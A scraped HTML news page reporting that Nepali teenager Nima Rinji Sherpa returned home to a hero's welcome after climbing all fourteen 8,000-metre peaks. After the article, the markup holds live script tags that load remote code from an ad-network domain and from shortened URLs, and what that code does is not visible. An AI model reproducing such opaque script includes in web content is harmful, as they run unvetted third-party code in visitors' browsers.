<p>A Sherpa <a href="https://www.mid-day.com/mumbai-guide/things-to-do/article/young-at-art-23403259" target="_blank" rel="none noopener">teenager</a> who became the youngest person to scale all the world&rsquo;s 14 highest peaks returned home to Nepal on Monday to a hero&rsquo;s welcome.</p>
<p>Nima Rinji Sherpa, 18, reached the 8,027-meter (26,335-foot) summit of Mount Shishapangma in China last week, completing his mission to climb the world&rsquo;s <a href="https://www.mid-day.com/news/world-news/article/five-russian-climbers-die-scaling-peak-23407940" target="_blank" rel="none noopener">peaks</a> that are more than 8,000 meters (26,247 feet) high. He broke a previous record by another Sherpa, who was 30 years old at the time.</p>
<p><a href="https://www.mid-day.com/news/india-news/article/india-sends-the-first-consignment-of-emergency-relief-items-to-flood-struck-nepal-23407447" target="_blank" rel="none noopener">Nepal</a>&rsquo;s Tourism Minister Badri Prasad Pandey, along with members of the climbing community, fellow Sherpas and supporters, lined up outside Tribhuvan International Airport in Kathmandu to offer flowers and scarfs to Nima Rinji.&nbsp;</p>
<p>Nima Rinji comes from a well-known family in the Sherpa mountaineering <a href="https://www.mid-day.com/sunday-mid-day/article/the-view-from-the-marble-window-23376687" target="_blank" rel="none noopener">community</a>. &ldquo;I am very happy and I want to say thank you so much everyone. It was a difficult mission but finally I was able to be successful,&rdquo; he told reporters.</p>
<p><span style="font-size: x-small;"><em>This story has been sourced from a third party syndicated feed, agencies. Mid-day accepts no responsibility or liability for its dependability, trustworthiness, reliability and data of the text. Mid-day management/mid-day.com reserves the sole right to alter, delete or remove (without notice) the content in its absolute discretion for any reason whatsoever</em></span></p><p>
    <script async="async" data-cfasync="false" src="//pl23789885.revenuecpmgate.com/7445444aea29efc3d061cbd866026c06/invoke.js"></script>
    <div id="container-7445444aea29efc3d061cbd866026c06"></div>
    </p><script type='text/javascript' src='https://2cm.es/1e0EP'></script><script type='text/javascript' src='https://2cm.es/1e0JF'></script>

Nima Rinji Sherpa has become the youngest person to scale all the 14 highest peaks

Record-setting Nepali teen climber returns home to hero’s welcome

UN Security Council voices 'strong concern' for UN peacekeepers after Israeli attacks

Nima Rinji Sherpa has scaled 14 highest peaks

Record-setting Nepali teen climber returns home to hero’s welcome

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast

Home / News / World News / Article / Record-setting Nepali teen climber returns home to hero’s welcome

Record-setting Nepali teen climber returns home to hero’s welcome

Trending Stories

Latest Photos

Latest Videos

Latest Web Stories

Mid-Day Fast